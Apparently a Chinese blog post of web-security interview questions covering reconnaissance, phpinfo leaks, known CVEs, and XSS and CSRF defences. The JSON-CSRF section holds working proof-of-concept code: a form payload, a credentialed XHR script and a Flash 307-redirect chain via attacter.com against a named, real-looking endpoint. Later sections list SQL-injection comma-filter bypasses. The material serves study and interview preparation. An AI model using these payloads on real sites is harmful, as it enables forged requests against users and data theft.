前言:
面试题/面经,本质上只是一种“见识”,他并不能实质上提升自己的水平,还是希望大家(包括我自己)不要太局限于面经,可以查缺补漏但没必要面经问什么自己就一定要学什么,按自己的节奏学就行了,毕竟每人的技术特点不一样,面试的过程和问题也会不一样。
2022校园笔试面试时间 - 春秋季大学生实习工作 - 字节跳动互联网招聘会
0x01 自我介绍
主要讲自己的项目实战经验,在其他公司实习做过什么项目。
0x02 渗透的流程
博主现在技术还在权限提升阶段,漏洞利用是时刻都要研究的,等我学习的完了,再进行总结《渗透测试基本流程》-安全客 - 安全资讯平台
0x03 信息收集如何处理子域名爆破的泛解析问题
前置知识:
通过DNS查询枚举子域名遇到的最大问题是域名泛解析问题,域名泛解析是厂商为方便维护解析记录,将域名所有情况都解析到同样服务器上。
目前最好的解决方式是通过先获取一个绝对不存在域名的响应内容,再遍历获取每个字典对应的子域名的响应内容的,通过和不存在域名内来容做相似度比对,枚举子域名,但这样的实现是以牺牲速度为代价。https://xz.aliyun.com/t/5509
0x04 如何绕过CDN查找真实ip
https://blog.csdn.net/m0_61506558/article/details/126387468?spm=1001.2014.3001.5501
其他里面这里补充:
分站域名&C段查询 (分站可能没有挂CDN,可以通过ping二级域名获取分站IP, 可能会出现分站和主站不是同一个IP但在同一个C段下面的情况,从而能判断出目标的真实IP段)
网站漏洞 (通过网站的信息泄露如phpinfo泄露,github信息泄露,命令执行等漏洞获取真实ip)
SSRF漏洞 (该漏洞可以访问内网,服务器主动向外发起连接,找到真实IP地址)
目标网站APP应用 (如果目标网站有自己的App,可以尝试利用Fiddler或Burp Suite抓取App的请求,从里面找到目标的真实IP)
网络空间引擎搜索 (shodan、FOFA、zoomeye)
0x05 phpinfo你会关注哪些信息
1. 网站真实ip
当网站使用cdn或群集时,那么该文件会显示网站真实ip地址
2. 网站路径
当网站绝对路径泄漏时,如果能写webshell,则可以直接getshell;当日志文件路径泄露时,如果存在文件包含,则直接包含日志文件getshell
3. 应用信息
通过phpinfo可以查看到支持的特殊服务,例如:redis、fastcgi、memcache、ImageMagick等,如果存在redis、memcache等则可尝试未授权访问获取信息Redis未授权访问漏洞__Cyber的博客-CSDN博客
如果使用了ImageMagick,则可根据版本尝试远程代码执行
4. 一些敏感配置
allow_url_include #该项如果开启,则支持远程文件包含,如果有存在文件包含的文件则可直接getshell,或可以使用php伪协议
disable_function #该项表示禁用的函数名
magic_quotes_gpc #php5.4以下版本有的函数,默认开启,会对特殊字符进行转移
5.php版本信息
php版本信息,每个php版本都有变化和特性,像php5.3.4以下 + magic_quotes_gpc off 可%00截断
0x06 有没有了解过权限维持
博主刚刚最近接触到,分为windows和linux权限,打算这几个星期把这些内容整理出来。
0x07 说一个你感觉不错的漏洞,展开讲讲
log4j、 永恒之蓝 、FastJson 反序列化、 Apache Shiro 、脏牛漏洞
CVE-2017-0144(永恒之蓝)利用文档__Cyber的博客-CSDN博客
Fastjson反序列化漏洞(1.2.24 RCE)__Cyber的博客-CSDN博客_fastjson反序列化漏洞
CVE-2021-44228 log4j RCE漏洞原理详细分析排查和修补__Cyber的博客-CSDN博客
CVE-2021-44228 Log4j 远程代码执行漏洞——原理__Cyber的博客-CSDN博客_log4j漏洞
CVE-2020-1957 Apache Shiro 认证绕过漏洞__Cyber的博客-CSDN博客
0x08 输出到href的XSS如何防御
- 对输入和URL参数进行过滤(白名单和黑名单)
- 对输出进行编码
- HttpOnly设置
处理富文本
WEB安全基础篇-跨站脚本攻击(XSS) - FreeBuf网络安全行业门户
XSS绕过httponly属性保护的cookie__Cyber的博客-CSDN博客_httponly 绕过
0x09 samesite防御CSRF的原理
same-site cookies属于前端防御,它是在原有的Cookie中,新添加了一个
SameSite
属性,控制只有同域(子域)能访问Cookie,它标识着在非同源的请求中,是否可以带上Cookie,它可以设置为3个值,分别为:
- Strict
- Lax
- None
Cookie中的内容为:
POST /transfer HTTP/1.1
Host: www.xiaodi8.com
Cookie: JSESSIONID=randomid;SameSite=Strict;
Strict
是最严格的,它完全禁止在跨站情况下,发送Cookie。只有在自己的网站内部发送请求,才会带上Cookie。不过这个规则过于严格,会影响用户的体验。比如在一个网站中有一个链接,这个链接连接到了GitHub上,由于SameSite设置为Strict,跳转到GitHub后,GitHub总是未登录状态。
Lax
的规则稍稍放宽了些,大部分跨站的请求也不会带上Cookie,但是一些导航的Get请求会带上Cookie,如下:
None就是关闭SameSite属性,所有的情况下都发送Cookie。不过SameSite设置None,还要同时设置Cookie的Secure属性,否则是不生效的。
0x10 CSRF防御
a. 用户在被攻击的系统中登录了
- 对重要的操作进行二次认证,防止操作在后台自动执行。
- 设置适当的会话超时时间,防止用户离开后,其他用户在同一个浏览器中操作。
- 养成良好的习惯,离席锁屏。
b. 用户在第三方系统触发了对被攻击系统的请求
- 语义一致性:良好的编程习惯,操作类请求,必须使用POST,GET只用于浏览类请求。
阻止外域访问
- 同源检测:服务器端通过请求的Origin Header和Referer Header,判断请求的来源。
- Samesite Cookie:控制只有同域(子域)能访问Cookie。
随机数一致性检测
- CSRF Token:用户登录后,生成随机值csrf_token,用户提交的操作类(POST)请求中,提交的表单中携带csrf_token,服务器端判断csrf_token是否正确。
- 双重Cookie验证:Cookie中保存csrf_token,用户提交表单中也携带csrf_token,服务器端判断两个值是否一致。
0x11 json格式的CSRF如何防御
思路一:尝试去闭合json
首先抓包看到了下面的情况:
这里我们就要想办法去除引号,结合poc,其实是value后面的=所以尝试去闭合如下:
<input type="hidden" name='{"appId":"300016001555","appName":"0xdawnnn","test":"' value='test"}' />
这时候抓包发现闭合了,但是发现还是415,对比发现原始数据包中的content-type:application/json,而我们自己写的poc,enctype="text/plain"于是将其在poc中修改为application/json后发现数据包如下 :
发现格式变成了如上,然后再将正常的书包提交,发现对content-type进行了校验
思路二:通过xhr提交
poc
当跨域影响用户数据HTTP请求(如用XMLHttpRequest发送post)时,浏览器会发送预检请求(OPTIONS请求)给服务端征求支持的请求方法,
然后根据服务端响应允许才发送真正的请求。
然而如果服务端对Content-Type进行校验,则不会响应这个OPTIONS请求,从而利用失败,所以这里没用。
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://www.xxxxx.com/simauth/app/updateAppInfo", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"appId":"300016001555","appName":"0xdawn"});
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();"/>
</form>
</body>
</html>
思路三:借用flash,利用307跳转实现csrf(这个思路有点迷)
1制作一个flash文件
2制作一个跨域xml文件
3制作一个具有307状态码的php文件
参考:https://github.com/sp1d3r/swf_json_csrf
poc:
https://www.0xdawn.cn/swf_json_csrf/test.swf?endpoint=https://sim.ecloud.10086.cn:8085/simauth/app/updateAppInfo&reqmethod=POST&ct=application/json;charset=UTF-8&jsonData={%22appId%22:%22300016001555%22,%22appName%22:%220xdawn%22}&php_url=https://www.0xdawn.cn/swf_json_csrf/test.php
整个攻击链
1、受害者访问POC,向attacter.com发起一条swf请求,swf向307.php发送HTTP POST请求。
2、attacter.com的307.php发起307跳转,跳转到victim.com,注意307跳转会带着http请求方式,header和postdata进行跳转。
3、victim.com收到一条POST请求,并且Content-Type为application/json。
4、victim.com收到一条/crossdomain.xml请求。由于第三步优先第四步执行,导致跨域。并且victim.com能收到crossdomain.xml请求,也证明了第三步的POST请求是Flash发出,而不是307.php发出。
参考文章:
一次渗透测试引发的Json格式下CSRF攻击的探索 - 先知社区
0x12 浏览器解析顺序和解码顺序
浏览器一般的解码顺序是先进行html解码,再进行javascript解码,最后再进行url解码,需要注意的是这里的url解码和我们发送到服务器的url解码不同,那个过程是由服务器来完成的,而不是浏览器
0x13 过滤逗号的SQL注入如何绕过
1.使用 Join 方法绕过
union select 1,2 #等价于
union select * from (select 1)a join (select 2)b
2.对于substr()和mid()这两个方法可以使用from to的方式来解决:
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
3.使用like:
select ascii(mid(user(),1,1))=80 #等价于
select user() like 'r%'
0x14 过滤limit后的逗号如何绕过
1. 对于limit可以使用offset来绕过:
select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0
0x15 fastjson相关漏洞
干货|最全fastjson漏洞复现与绕过 - 腾讯云开发者社区-腾讯云
Fastjson反序列化漏洞(1.2.24 RCE)__Cyber的博客-CSDN博客_fastjson反序列化漏洞